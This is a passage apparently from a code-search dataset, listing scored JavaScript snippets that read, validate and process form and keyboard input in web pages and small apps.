inputsData(obj) {\n let goods = document.querySelector('#goods').value;\n let price = document.querySelector('#price').value;\n let amount = document.querySelector('#amount').value;\n let country = document.querySelector('#country').value;\n let article = document.querySelector('#article').value;\n let time = document.querySelector('#time').value;\n obj = {\n goods: goods,\n price: price,\n amount: amount,\n country: country,\n article: article,\n time: time\n }\n return obj;\n}", "title": "" }, { "docid": "55d79d8c0cd461a3b8d966f27d20f1e0", "score": "0.51415205", "text": "somenteletras(input) {\n\n let re = /^[A-Za-z]+$/;\n\n let inputValue = input.value;\n\n let mensagem_error = `Este campo não aceita números nem caracteres especiais`;\n\n if (!re.test(inputValue)) {\n this.imprimirMensagem(input, mensagem_error);\n }\n\n }", "title": "" }, { "docid": "25497de3543c091a9cdb5681161ebace", "score": "0.5141178", "text": "function getInputs(e) {\n\te.preventDefault();\n\tvar subjectSelect = document.getElementById('subject').value;\n\tvar numPara = document.getElementById('paragraphs').value;\n\tvar numSent = document.getElementById('sentences').value;\n\tbuildPara(subjectSelect, numPara, numSent); \n}", "title": "" }, { "docid": "a3b1366299d24b2ae0ef33c818c9a497", "score": "0.51406896", "text": "function processInput(){\n // add anything from all files\n $('.input').each(function(i, e){\n var data = $(e).val();\n if (data.startsWith(PREFIX_BTCDE)) doBitcoinDe(data);\n else if (data.startsWith(PREFIX_BITWALA_BANK)) doBitwalaBank(data);\n else if (data.startsWith(PREFIX_BITWALA_TOPUP)) doBitwalaTopup(data);\n else if (data.startsWith(PREFIX_XAPO)) doXapo(data);\n else if (data.startsWith(PREFIX_KRAKEN)) doKraken(data);\n else if (data.startsWith(PREFIX_OTC)) doOtc(data);\n else if (data.startsWith(PREFIX_WALLETS)) doWallets(data);\n else alert('Input not suported: '+$(e).prev().html());\n postProcessInput();\n });\n}", "title": "" }, { "docid": "ef6ad374b9de94818f9d6206d0ad582a", "score": "0.5134922", "text": "function executeInput(event){\n // get input and put into array, filter out empty cell at end due to extra space\n let input = display.textContent.split(' ').filter(item => item !== '' && item);\n // if not enough inputs return immediately\n if (input.length < 3) {\n return;\n }\n // if the last input was an operator trim it off the end\n if (operators.includes(input[input.length - 1])) {\n input.splice(input.length - 1, 1);\n }\n // generate ratings array, element at each index will correspond to MDAS rating of each element in input array, numbers will be 0\n let ratings = input.map(item => operators.includes(item) ? mdas[item] : 0);\n // run calculations \n result = calculateResults(input, ratings);\n // if the result is a solid number display it, otheriwse trim to 5 decimal places then display, when sent as number to string it will also trim trailing zeros \n if (Number.isInteger(result)) {\n display.textContent = `${result} `;\n } else {\n display.textContent = `${Number(result.toFixed(5))} `;\n }\n }", "title": "" }, { "docid": "60af81d96dc803ac9e71488ace23ef04", "score": "0.51325715", "text": "init() \n\t{\n\t\tfor (var i = 0; i < this.input.length; i++) {\n\t\t\tthis.r(this.input[i]);\n\t\t}\n\t}", "title": "" }, { "docid": "ee9b915f2d4c82ca31b6b5d2ba037440", "score": "0.5131456", "text": "function TerimaInput(){\n var Nama = document.querySelector(\"#Nama\").value;\n var NIM = document.querySelector(\"#NIM\").value;\n console.log('Nama : ',Nama)\n console.log('NIM : ',NIM)\n}", "title": "" }, { "docid": "9fd5b7ecf0df8e8a2e4194bfd74584b2", "score": "0.5120278", "text": "function input() {\n // fs.readFile('/tmp/a', 'utf8', function (err, data) {\n // if (err) return console.log(err)\n // document.getElementById('input').value = data\n // });\n\n // ウィンドウ一覧\n p = require('child_process')\n p.exec(\"wmctrl -l | perl -pe 's/ / /g' | cut -d ' ' -f 4- | perl -pe 's;^\\s*N/A\\s;;g' \", (err, stdout, stderr)=> {\n console.log(stdout)\n document.getElementById('input').value = stdout\n })\n}", "title": "" }, { "docid": "d6a87a2f93b88ee1d39fe6c7dccc0cbb", "score": "0.5118551", "text": "function handleInput() {\n process(input.value());\n}", "title": "" }, { "docid": "d6a87a2f93b88ee1d39fe6c7dccc0cbb", "score": "0.5118551", "text": "function handleInput() {\n process(input.value());\n}", "title": "" }, { "docid": "d74e2a92374a0d98e8df0b80a5a30db8", "score": "0.5118422", "text": "function sc_input(ID) {\n this.ID = ID;\n this.inputs = [];\n this.targets = [];\n}", "title": "" }, { "docid": "2fc4940c80f0ec2257b29aab0ab0c1c0", "score": "0.51087797", "text": "input()\n{\n const readline = require('readline-sync');\n const r1 = readline.createInterface({input: ProcessingInstruction.stdin, output : ProcessingInstruction.stdout})\n return r1;\n\n}", "title": "" }, { "docid": "3a8833991f20f72a99ef9f9492cd93ca", "score": "0.51078945", "text": "function inputForm(pomo = this){\n pomo.inputs = document.createElement(\"div\");\n pomo.inputs.id = \"inputs\";\n pomo.inputs.innerHTML = \"Submit Intervals in Minutes\";\n pomo.el.appendChild(pomo.inputs);\n\n \n function createInput(numberOfInputs = 1){ //refactor this to make two inputs with .work class and .breaks\n let elems = document.createDocumentFragment();\n for (var i = 0; i<numberOfInputs; i++){\n let input = makeElem(\"input\", \"input\");\n let removeInput = makeElem(\"button\", \"removeInput\", \"-\");\n let addInput = makeElem(\"button\", \"addInput\", \"+\");\n elems.append(input, removeInput, addInput);\n }\n return elems;\n }\n \n //makes any element\n function makeElem(type, className, text=\"\"){\n let elem = document.createElement(type);\n elem.className = className;\n elem.innerHTML = text;\n return elem\n }\n \n //start with two input elements\n \n \n if (pomo.intervals){\n pomo.inputs.append(createInput(pomo.intervals.inOrder.length));\n for (i = 0; i < pomo.intervals.inOrder.length; i++){\n pomo.inputs.querySelectorAll(\".input\")[i].value = pomo.intervals.inOrder[i];\n }\n } else {\n pomo.intervals={};\n pomo.inputs.append(createInput(2));\n }\n \n \n //create submit button\n pomo.submit = document.createElement(\"button\");\n pomo.submit.id = \"submitIntervals\";\n pomo.submit.innerHTML = \"submit\";\n pomo.el.appendChild(pomo.submit);\n \n //create lower add button\n pomo.addInput = document.createElement(\"button\");\n pomo.addInput.id = \"addInput\";\n pomo.addInput.innerHTML = \"add\";\n pomo.el.appendChild(pomo.addInput);\n \n // lower add button input\n pomo.addInput.addEventListener('click', ()=>{\n this.inputs.append(createInput());\n addEventListeners();\n });\n \n //add Input after this input \n function addAfter(e){\n this.parentElement.insertBefore(createInput(), this.nextSibling); \n addEventListeners();\n };\n //removeInput\n function remove(e){ //this function wouldn't work if the html order was switched\n this.nextSibling.remove();\n this.previousSibling.remove();\n this.remove();\n }\n\n //get intervals on submit\n function submit(){\n //get inputs\n calcInputs();\n\n //validate inputs\n let error = false;\n const validate = (function(){\n if(pomo.inputValues.length == 0){\n alert('You must submit atleast one work interval and one break interval.'); \n error = true;\n }else if (pomo.inputValues.length%2!=0){\n alert(`Must have one break after work session of ${pomo.inputValues[pomo.inputValues.length-1]} minutes.`); \n error = true;\n }\n })();\n\n if (error){return};\n\n //save inputs into interval object\n let work = pomo.inputValues.filter((x,i)=>{\n return i%2 ==0;\n });\n let breaks = pomo.inputValues.filter((x,i)=>{\n return i%2 !=0;\n });\n \n pomo.intervals.work = work;\n pomo.intervals.breaks = breaks;\n \n //start pomodoro\n startPomo(pomo); //bind vs passing this?\n }\n function calcInputs(){\n pomo.inputValues = (()=>{\n var array = [];\n document.querySelectorAll(\".input\").forEach((x)=>{\n if(x.value.length==0) return;\n array.push(parseFloat(x.value));\n });\n return array;\n })();\n \n }\n\n addEventListeners();\n function addEventListeners(){\n document.querySelectorAll(\".addInput\").forEach((x)=>x.addEventListener('click', addAfter));\n document.querySelectorAll(\".removeInput\").forEach((x)=>x.addEventListener('click', remove));\n } \n\n pomo.submit.addEventListener('click', submit.bind(this));\n }", "title": "" }, { "docid": "73c8386c2746887b1e8c2dd4b01530be", "score": "0.51040006", "text": "limpiarCampos(){\n this.tituloInput.value = \"\";\n this.cuerpoInput.value = \"\";\n this.idInput.value = \"\";\n }", "title": "" }, { "docid": "24d1905fd6f0b13c31d7b47ce41a893e", "score": "0.51022196", "text": "function cInput(trs){\n\t\ttrs.runtime.inputEventOut = 'input_ge';\n\t\ttrs.runtime.inputEventPush = 'inpute_gp';\n\n\t\ttrs.addEvent(trs.runtime.inputEventPush);\n\t\ttrs.addEvent(trs.runtime.inputEventOut);\n\n\t\ttrs.PushEvent = PushEvent;\n\t\ttrs.DispatchEvents = DispatchEvents;\n\n\t\t// trs.addEventListener(\"keydown\", onKeyDown);\n\t\t//trs.addEventListener(\"keypress\", onKeyDown);\n\t\ttrs.canvas.focus();\n\t\ttrs.canvas.setAttribute('tabindex','0');\n\t\t//trs.canvas.setAttribute('contentEditable','true');\n\n\t\t// TODO: add keymapper: [{keyEnc:scodeToDispatch}]\n\t}", "title": "" }, { "docid": "a1ed38b1bd516b068f5b0efdfc741752", "score": "0.50975215", "text": "call(inputs, kwargs) {\n return inputs;\n }", "title": "" }, { "docid": "06d6fbd0bfb48342eefe0e36bf9d3b57", "score": "0.50957483", "text": "function prepareInput() {\n var text = [];\n var from = Math.max(0, sel.from.line - 1), to = Math.min(lines.length, sel.to.line + 2);\n for (var i = from; i < to; ++i) text.push(lines[i].text);\n text = input.value = text.join(lineSep);\n var startch = sel.from.ch, endch = sel.to.ch;\n for (var i = from; i < sel.from.line; ++i)\n startch += lineSep.length + lines[i].text.length;\n for (var i = from; i < sel.to.line; ++i)\n endch += lineSep.length + lines[i].text.length;\n editing = {text: text, from: from, to: to, start: startch, end: endch};\n setSelRange(input, startch, reducedSelection ? startch : endch);\n }", "title": "" } ]
30308a30cf48ab25a4be48b8077b7d01
Callbacks para controlar los distintos instantes de la subida
[ { "docid": "fc8fe27071f33baf614b16f2e6d7fa05", "score": "0.0", "text": "function registrandoEstadoSubida(uploadSnapshot) {\r\n\r\n var calculoPorcentaje = (uploadSnapshot.bytesTransferred / uploadSnapshot.totalBytes) * 100;\r\n calculoPorcentaje = Math.round(calculoPorcentaje);\r\n registrarPorcentaje (calculoPorcentaje);\r\n }", "title": "" } ]
[ { "docid": "0134d30f8195ef8190313a3180444e27", "score": "0.57155687", "text": "siguienteNivel(){\n //empieza en 0 en cada uno de los niveles\n this.subnivel = 0\n this.iluminarSecuencia()\n this.agregarEventosClick()\n }", "title": "" }, { "docid": "c79e221df226843d8d4ba4ea9f7a61ed", "score": "0.55934465", "text": "function setup() {\n\n document.getElementById(\"title-Barbre\").addEventListener('click', function() {\n\n ui.removeAll();\n $('#title-Barbre').addClass(\"visited\");\n $('#title-Maire').removeClass(\"visited\");\n\n });\n\n\n document.getElementById(\"title-Maire\").addEventListener('click', function() {\n ui.removeAll();\n $('#title-Barbre').removeClass(\"visited\");\n $('#title-Maire').addClass(\"visited\");\n });\n document.getElementById(\"menu-hide-fichier\").addEventListener('click', function() {\n if (document.querySelectorAll('.ENR').length === 0) {\n document.querySelectorAll('.selection:not(#create)').forEach((elem) => {\n elem.classList.add('interdit');\n });\n }\n if (document.getElementById(\"menu-fichier\").style.width == '0px') {\n\n for (let index = 0; index < 151; index++) {\n setTimeout(() => {\n document.getElementById(\"menu-fichier\").style.width = index + 'px';\n }, index);\n };\n document.getElementById(\"supprimer_enr\").style.display = 'none';\n document.getElementById(\"rechercher_zone\").style.display = 'none';\n document.getElementById(\"inserer_enr\").style.display = 'none';\n document.getElementById(\"trier_zone\").style.display = 'none';\n document.getElementById(\"extraire_enrs\").style.display = 'none';\n document.getElementById(\"speedControler\").style.display = 'none';\n\n $(\"#rechercher_zone\").fadeIn(250);\n $(\"#inserer_enr\").fadeIn(500);\n $(\"#supprimer_enr\").fadeIn(750);\n $(\"#trier_zone\").fadeIn(1000);\n $(\"#extraire_enrs\").fadeIn(1250);\n $(\"#speedControler\").fadeIn(1250);\n\n } else {\n for (let index = 150; index > -1; index--) {\n setTimeout(() => {\n document.getElementById(\"menu-fichier\").style.width = index + 'px';\n }, (151 - index) * 0.9);\n $(\"#create-action\").fadeOut(250);\n $(\"#search-action\").fadeOut(250);\n $(\"#delete-action\").fadeOut(250);\n $(\"#insert-action\").fadeOut(250);\n $(\"#speedControler\").fadeOut(250);\n }\n }\n\n if (document.getElementById(\"menu-hide-img\").className == \"rotateLeft\") {\n document.getElementById(\"menu-hide-img\").className = \"rotateRight\";\n } else {\n document.getElementById(\"menu-hide-img\").className = \"rotateLeft\";\n }\n\n\n\n\n });\n document.getElementById(\"code-hide-fichier\").addEventListener('click', function() {\n\n if (document.getElementById(\"code-fichier\").style.width == '0px') {\n for (let index = 0; index < 421; index++) {\n\n setTimeout(() => {\n document.getElementById(\"code-fichier\").style.width = index + 'px';\n }, index * 2);\n\n }\n\n document.getElementById(\"code-hide-img\").className = \"rotateLeft\";\n } else {\n for (let index = 420; index > -1; index--) {\n setTimeout(() => {\n document.getElementById(\"code-fichier\").style.width = index + 'px';\n }, (420 - index));\n }\n document.getElementById(\"code-hide-img\").className = \"rotateRight\";\n }\n\n\n });\n document.getElementById(\"instruction-hide-fichier\").addEventListener('click', function() {\n if (document.getElementById(\"instruction-fichier\").style.width == '0px') {\n for (let index = 0; index < 421; index++) {\n setTimeout(() => {\n document.getElementById(\"instruction-fichier\").style.width = index + 'px';\n }, index * 0.9);\n }\n } else {\n for (let index = 420; index > -1; index--) {\n setTimeout(() => {\n document.getElementById(\"instruction-fichier\").style.width = index + 'px';\n }, (420 - index) * 0.9);\n }\n }\n if (document.getElementById(\"instruction-hide-img\").className == \"rotateLeft\") {\n document.getElementById(\"instruction-hide-img\").className = \"rotateRight\";\n } else {\n document.getElementById(\"instruction-hide-img\").className = \"rotateLeft\";\n }\n });\n\n document.getElementById(\"rechercher_zone\").addEventListener('click', function(e) {\n if (!document.querySelector('#rechercher_zone').classList.contains('interdit')) {\n document.querySelectorAll('.selection:not(#create)').forEach((elem) => {\n elem.classList.remove('interdit');\n });\n document.getElementById(\"code-fichier\").style.width = '420px';\n document.getElementById(\"code-hide-img\").className = \"rotateLeft\";\n if (document.querySelectorAll('.extraire_item') != null) {\n document.querySelectorAll('.extraire_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.inserer_item') != null) {\n document.querySelectorAll('.inserer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.supprimer_item') != null) {\n document.querySelectorAll('.supprimer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelector('#start_tri') != null) {\n document.querySelector('#start_tri').style.display = \"none\";\n }\n let vitesse = document.getElementById(\"myRange\");\n ouvrir_fentre_comment();\n let ord = document.querySelector('#ord').children[0].querySelector('input').checked;\n if (ord) {\n set_comment(\"Le corps de l'algorithme de recherche ( zone ordonnée ) ....\");\n } else {\n set_comment(\"Le corps de l'algorithme de recherche ( zone non ordonnée ) ....\");\n }\n rechercher_zone(e);\n document.querySelector('#rechercher_zone').classList.add('interdit');\n }\n\n });\n document.getElementById(\"inserer_enr\").addEventListener('click', function(e) {\n\n if (!document.querySelector('#inserer_enr').classList.contains('interdit')) {\n document.querySelectorAll('.selection:not(#create)').forEach((elem) => {\n elem.classList.remove('interdit');\n });\n document.getElementById(\"code-fichier\").style.width = '420px';\n document.getElementById(\"code-hide-img\").className = \"rotateLeft\";\n if (document.querySelectorAll('.recherche_item') != null) {\n document.querySelectorAll('.recherche_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.extraire_item') != null) {\n document.querySelectorAll('.extraire_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.supprimer_item') != null) {\n document.querySelectorAll('.supprimer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelector('#start_tri') != null) {\n document.querySelector('#start_tri').style.display = \"none\";\n }\n let vitesse = document.getElementById(\"myRange\");\n inserer_enr(e);\n document.querySelector('#inserer_enr').classList.add('interdit');\n }\n\n });\n document.getElementById(\"supprimer_enr\").addEventListener('click', function(e) {\n\n if (!document.querySelector('#supprimer_enr').classList.contains('interdit')) {\n document.querySelectorAll('.selection:not(#create)').forEach((elem) => {\n elem.classList.remove('interdit');\n });\n document.getElementById(\"code-fichier\").style.width = '420px';\n document.getElementById(\"code-hide-img\").className = \"rotateLeft\";\n if (document.querySelectorAll('.recherche_item') != null) {\n document.querySelectorAll('.recherche_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.inserer_item') != null) {\n document.querySelectorAll('.inserer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.extraire_item') != null) {\n document.querySelectorAll('.extraire_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelector('#start_tri') != null) {\n document.querySelector('#start_tri').style.display = \"none\";\n }\n let vitesse = document.getElementById(\"myRange\");\n supprimer_enr(e);\n document.querySelector('#supprimer_enr').classList.add('interdit');\n }\n\n });\n document.getElementById(\"extraire_enrs\").addEventListener('click', function(e) {\n\n if (!document.querySelector('#extraire_enrs').classList.contains('interdit')) {\n document.querySelectorAll('.selection:not(#create)').forEach((elem) => {\n elem.classList.remove('interdit');\n });\n document.getElementById(\"code-fichier\").style.width = '420px';\n document.getElementById(\"code-hide-img\").className = \"rotateLeft\";\n if (document.querySelectorAll('.recherche_item') != null) {\n document.querySelectorAll('.recherche_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.inserer_item') != null) {\n document.querySelectorAll('.inserer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.supprimer_item') != null) {\n document.querySelectorAll('.supprimer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelector('#start_tri') != null) {\n document.querySelector('#start_tri').style.display = \"none\";\n }\n let vitesse = document.getElementById(\"myRange\");\n extraire_enrs(e);\n document.querySelector('#extraire_enrs').classList.add('interdit');\n }\n\n });\n\n document.getElementById(\"trier_zone\").addEventListener('click', function(e) {\n if (!document.querySelector('#trier_zone').classList.contains('interdit')) {\n ouvrir_fentre_comment();\n set_comment(\"Le corps de l'algorithme de Tri \");\n document.querySelectorAll('.selection:not(#create)').forEach((elem) => {\n elem.classList.remove('interdit');\n });\n document.getElementById(\"code-fichier\").style.width = '420px';\n document.getElementById(\"code-hide-img\").className = \"rotateLeft\";\n if (document.querySelectorAll('.recherche_item') != null) {\n document.querySelectorAll('.recherche_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.inserer_item') != null) {\n document.querySelectorAll('.inserer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.supprimer_item') != null) {\n document.querySelectorAll('.supprimer_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n if (document.querySelectorAll('.extraire_item') != null) {\n document.querySelectorAll('.extraire_item').forEach((elem) => { elem.style.display = 'none'; });\n }\n let vitesse = document.getElementById(\"myRange\");\n allez_trie(e);\n document.querySelector('#trier_zone').classList.add('interdit');\n }\n\n });\n\n document.getElementById(\"create\").addEventListener('click', function(e) {\n set_comment(\"Lire les caractéristiques de zone à générer...\");\n ouvrir_fermer_fentrealgo();\n ouvrir_alg(algo_creation);\n animer_alg([0, 1, 2, 3, 4]);\n $('#sub_zone').fadeIn(500);\n setTimeout(() => {\n $(\"#ord\")\n .css(\"display\", \"flex\")\n .hide()\n .fadeIn(500);\n setTimeout(() => {\n $('#submit_zone').fadeIn(500);\n }, 500);\n }, 500);\n\n\n });\n\n\n document.querySelector('#supprimer_enr').addEventListener('mouseover', function(e) {\n e.target.style.backgroundColor = 'black';\n });\n document.querySelector('#supprimer_enr').addEventListener('mouseout', function(e) {\n e.target.style.backgroundColor = 'lightseagreen';\n });\n document.querySelector('#create').addEventListener('mouseover', function(e) {\n e.target.style.backgroundColor = 'black';\n });\n document.querySelector('#create').addEventListener('mouseout', function(e) {\n e.target.style.backgroundColor = 'lightseagreen';\n });\n document.querySelector('#extraire_enrs').addEventListener('mouseover', function(e) {\n e.target.style.backgroundColor = 'black';\n });\n document.querySelector('#extraire_enrs').addEventListener('mouseout', function(e) {\n e.target.style.backgroundColor = 'lightseagreen';\n });\n\n document.querySelector('#rechercher_zone').addEventListener('mouseover', function(e) {\n e.target.style.backgroundColor = 'black';\n });\n document.querySelector('#rechercher_zone').addEventListener('mouseout', function(e) {\n e.target.style.backgroundColor = 'lightseagreen';\n });\n document.querySelector('#inserer_enr').addEventListener('mouseover', function(e) {\n e.target.style.backgroundColor = 'black';\n });\n document.querySelector('#inserer_enr').addEventListener('mouseout', function(e) {\n e.target.style.backgroundColor = 'lightseagreen';\n });\n document.querySelector('#trier_zone').addEventListener('mouseover', function(e) {\n e.target.style.backgroundColor = 'black';\n });\n document.querySelector('#trier_zone').addEventListener('mouseout', function(e) {\n e.target.style.backgroundColor = 'lightseagreen';\n });\n\n\n let ty = document.getElementById('submit_ins');\n ty.addEventListener('click', inserer_enr);\n document.getElementById('submit_sea').addEventListener('click', rechercher_zone);\n document.getElementById('submit_del').addEventListener('click', supprimer_enr);\n $('#submit_del').hover(function() {\n animer_alg([1]);\n }, function() {\n non_animer_alg([1]);\n });\n const ui = new UI();\n let temp_prec = 0;\n let stackTime = [];\n let stackValue = [];\n let temp = 0;\n stackTime.push(temp_prec);\n for (let i = 0; i < 8; i++) {\n let valeur = Math.trunc(Math.random() * 999);\n }\n\n}", "title": "" }, { "docid": "91a2a1f52eb9c54dbb0cbaee7506d194", "score": "0.547128", "text": "function onFromDistUnitsSelect()\n\t{\n\t\tconvertDistance();\n\t}", "title": "" }, { "docid": "e50dfbda9631971edefe1c304e13e82e", "score": "0.54208624", "text": "afterUpdate() {}", "title": "" }, { "docid": "e50dfbda9631971edefe1c304e13e82e", "score": "0.54208624", "text": "afterUpdate() {}", "title": "" }, { "docid": "71304d16b566bd2ca3f4e21d9c26d1ce", "score": "0.5380945", "text": "initMainEvents() {\n document.getElementById(\"txt-land-width\")?.addEventListener(\"change\", (event) => {\n this._controllerSettings.settings.defaultLandWidth = this._controllerLand.updateLandWidth(parseInt(event.target.value));\n this.notify();\n });\n document.getElementById(\"txt-land-height\")?.addEventListener(\"change\", (event) => {\n this._controllerSettings.settings.defaultLandHeight = this._controllerLand.updateLandHeight(parseInt(event.target.value));\n this.notify();\n });\n document.getElementById(\"txt-depot-p\")?.addEventListener(\"change\", (event) => {\n this._controllerSettings.settings.droppedPheromoneQuantity = parseFloat(event.target.value);\n this.notify();\n });\n document.getElementById(\"txt-evap-p\")?.addEventListener(\"change\", (event) => {\n this._controllerSettings.settings.pheromoneEvaporationSpeed = parseFloat(event.target.value);\n this.notify();\n });\n }", "title": "" }, { "docid": "43a51b0dd5005f58f267290bd3c74e7d", "score": "0.536349", "text": "function cargarListeners() {\n\n// LISTENER PARA DATOS GENERALES CARDS\n uiItem.selectEstado.addEventListener('change', e => {\n\n let id = Number(e.target.value);\n uiItem.titleResumen.textContent = e.target.options[id+1].text;\n\n ui.loadOverlay();\n cargarDatosAPI(Number(id));\n\n });\n\n// LISTENER PARA MAPA\n uiItem.selectMapa.addEventListener('change', e => {\n\n ui.loadOverlay();\n\n let tipo = e.target.value;\n\n switch(tipo){\n\n case 'confirmados':\n\n uiItem.titleMapa.textContent = \" de casos confirmados\";\n poblaciones = datosConfirmadosAll.map(estado => estado.poblacion );\n noTotales = datosConfirmadosAll.map(estado => estado.total );\n\n dataMapa = cargarDataMapa(poblaciones, noTotales);\n iniciarMapa(dataMapa);\n\n break;\n\n case 'defunciones':\n\n uiItem.titleMapa.textContent = \" de defunciones\";\n poblaciones = datosDefuncionesAll.map(estado => estado.poblacion );\n noTotales = datosDefuncionesAll.map(estado => estado.total );\n\n dataMapa = cargarDataMapa(poblaciones, noTotales);\n iniciarMapa(dataMapa);\n\n break;\n\n case 'negativos':\n\n uiItem.titleMapa.textContent = \" de casos negativos\";\n poblaciones = datosNegativosAll.map(estado => estado.poblacion );\n noTotales = datosNegativosAll.map(estado => estado.total );\n\n dataMapa = cargarDataMapa(poblaciones, noTotales);\n iniciarMapa(dataMapa);\n\n break;\n\n case 'sospechosos':\n\n uiItem.titleMapa.textContent = \" de casos sospechosos\";\n poblaciones = datosSospechososAll.map(estado => estado.poblacion );\n noTotales = datosSospechososAll.map(estado => estado.total );\n\n dataMapa = cargarDataMapa(poblaciones, noTotales);\n iniciarMapa(dataMapa);\n\n break;\n }\n \n\n });\n\n// LISTENER PARA GRAFICA\n uiItem.selectGrafica.addEventListener('change', e => {\n\n ui.loadOverlay();\n\n let tipo = e.target.value;\n\n switch(tipo) {\n case \"confirmados\":\n recentDatesGraph = confirmadosObj.calcularTotalMes(datosUbicacionConfirmados);\n grafica = new Grafica(recentDatesGraph);\n grafica.iniciarGrafica();\n uiItem.titleGrafica.textContent = \"Casos confirmados\";\n break;\n\n case \"defunciones\":\n recentDatesGraph = confirmadosObj.calcularTotalMes(datosUbicacionDefunciones);\n grafica = new Grafica(recentDatesGraph);\n grafica.iniciarGrafica();\n uiItem.titleGrafica.textContent = \"Defunciones\";\n break;\n\n case \"negativos\":\n recentDatesGraph = confirmadosObj.calcularTotalMes(datosUbicacionNegativos);\n grafica = new Grafica(recentDatesGraph);\n grafica.iniciarGrafica();\n uiItem.titleGrafica.textContent = \"Casos negativos\";\n break; \n\n case \"sospechosos\":\n recentDatesGraph = confirmadosObj.calcularTotalMes(datosUbicacionSospechosos);\n grafica = new Grafica(recentDatesGraph);\n grafica.iniciarGrafica();\n uiItem.titleGrafica.textContent = \"Casos sospechosos\";\n break; \n }\n \n });\n\n// LISTENER PARA TABLAS\n uiItem.selectTabla.addEventListener('change', e => {\n \n ui.loadOverlay();\n let tipo = e.target.value;\n\n switch(tipo) {\n\n case \"confirmados\":\n ui.mostrarDatosTabla(confirmadosSorted);\n uiItem.titleTabla.textContent = \"Confirmados\";\n break;\n\n case \"defunciones\":\n ui.mostrarDatosTabla(defuncionesSorted);\n uiItem.titleTabla.textContent = \"Defunciones\";\n break;\n\n case \"negativos\":\n ui.mostrarDatosTabla(negativosSorted);\n uiItem.titleTabla.textContent = \"Negativos\";\n break;\n\n case \"sospechosos\":\n ui.mostrarDatosTabla(sospechososSorted);\n uiItem.titleTabla.textContent = \"Sospechosos\";\n break;\n\n }\n\n });\n\n}", "title": "" }, { "docid": "3bd5c6dc26064200124beceb96196450", "score": "0.53579944", "text": "siguienteNivel() {\n this.subnivel = 0;\n this.iluminarSecuencia()\n // this.agregarEventosClick() Fue removido de aqui por que permitia clikear mientras se iluminaba la secuencia\n }", "title": "" }, { "docid": "26dc3603b721f1afb787bed2e752e4f6", "score": "0.53451693", "text": "function principal(){\n borraCanva();\n gravedad();\n dibujaSuelo();\n logicaSuelo();\n logicaCactus();\n dibujaCactus();\n logicaNube();\n dibujaNube();\n colision();\n dibujaConejo();\n puntuacion();\n}", "title": "" }, { "docid": "bde3f411c894c706d003721d75811d15", "score": "0.53451216", "text": "onBoundsChange(canvasTimeStart, canvasTimeEnd) {\n // To be implemented for lazy loading items \n }", "title": "" }, { "docid": "ae09a4fcba2d80181ee529a1efbb3a1d", "score": "0.5326814", "text": "InitSpawns(){\n // #region spawnAreas\n var spawnTrunkRight = function(){\n this.cols[this.cols.length] = this.physics.add.sprite(this.rand(this.width/5.12, this.width/3.20, this.seed),0,'tronco' ).body.setGravityY(this.nullGravity).setVelocityY(this.trunksVelocity);\n this.cols.length++;\n }\n\n var spawnTrunkLeft = function(){\n this.cols[this.cols.length] = this.physics.add.sprite(this.rand(this.width/1.8, this.width/1.24, this.seed),0,'tronco').body.setGravityY(this.nullGravity).setVelocityY(this.trunksVelocity);\n this.cols.length++;\n }\n\n var spawnTrunkMiddle = function(){\n this.cols[this.cols.length] = this.physics.add.sprite(this.rand(this.width/3, this.width/2,this.seed),0,'tronco').body.setGravityY(this.nullGravity).setVelocityY(this.trunksVelocity);\n\n this.cols.length++;\n }\n // #endregion\n\n // Contador para el spawner de troncos\n this.TrunkGeneratorRight = this.scene.get(\"onlinegame\").time.addEvent({delay: this.rand(this.minTrunkTimer - 400, this.maxTrunkTimer, this.seed), callback: spawnTrunkRight, callbackScope:this, loop:true});\n this.TrunkGeneratorLeft = this.scene.get(\"onlinegame\").time.addEvent({delay: this.rand(this.minTrunkTimer - 400, this.maxTrunkTimer, this.seed), callback: spawnTrunkLeft, callbackScope:this, loop:true});\n this.TrunkGeneratorMiddle = this.scene.get(\"onlinegame\").time.addEvent({delay: this.rand(this.minTrunkTimer, this.maxTrunkTimer, this.seed), callback: spawnTrunkMiddle, callbackScope:this, loop:true});\n }", "title": "" }, { "docid": "bc4546e4d3175b6df63ffb9695ca8887", "score": "0.5318187", "text": "function calcularRutasConClic () {\n $('#comoIr').change(function () {\n if($('#desde').val() != '' && $('#hasta').val() != '') {\n direccionesModulo.calcularYMostrarRutas()\n }\n })\n\n $('#calcularMuchos').click(function () {\n direccionesModulo.calcularYMostrarRutas();\n })\n\n $('#ocultarRuta').click(function () {\n direccionesModulo.ocultarRutas();\n })\n\n let listasLugares = $('.lugares')\n for (let j = 0; j < listasLugares.length; j++) {\n listasLugares[j].addEventListener('change', function () {\n if(direccionesModulo.rutaActiva() && $('#desde').val() != '' && $('#hasta').val() != '') {\n direccionesModulo.calcularYMostrarRutas()\n }\n })\n }\n\n $('#optimizarRuta').change(function() {\n if($('#desde').val() != '' && $('#hasta').val() != '') {\n direccionesModulo.calcularYMostrarRutas()\n }\n })\n }", "title": "" }, { "docid": "52ba34c891bafa4c88e7a88ae27faaa4", "score": "0.5303178", "text": "function active_menu(){\n\tmenu_ouvert=true;\n //on tourne la div globale de 45 degrés\n div_globale.css('transform','rotate(45deg)');\n //on annime les différentx points \n setTimeout(activepoint01, 50);\n setTimeout(activepoint02, 100);\n setTimeout(activepoint03, 150);\n setTimeout(activepoint04, 200);\n setTimeout(activepoint05, 250);\n setTimeout(activepoint06, 300);\n setTimeout(activepoint07, 350);\n setTimeout(activepoint08, 400);\n}", "title": "" }, { "docid": "0510b949920be9a5b6b7478fe2a9e94d", "score": "0.5290518", "text": 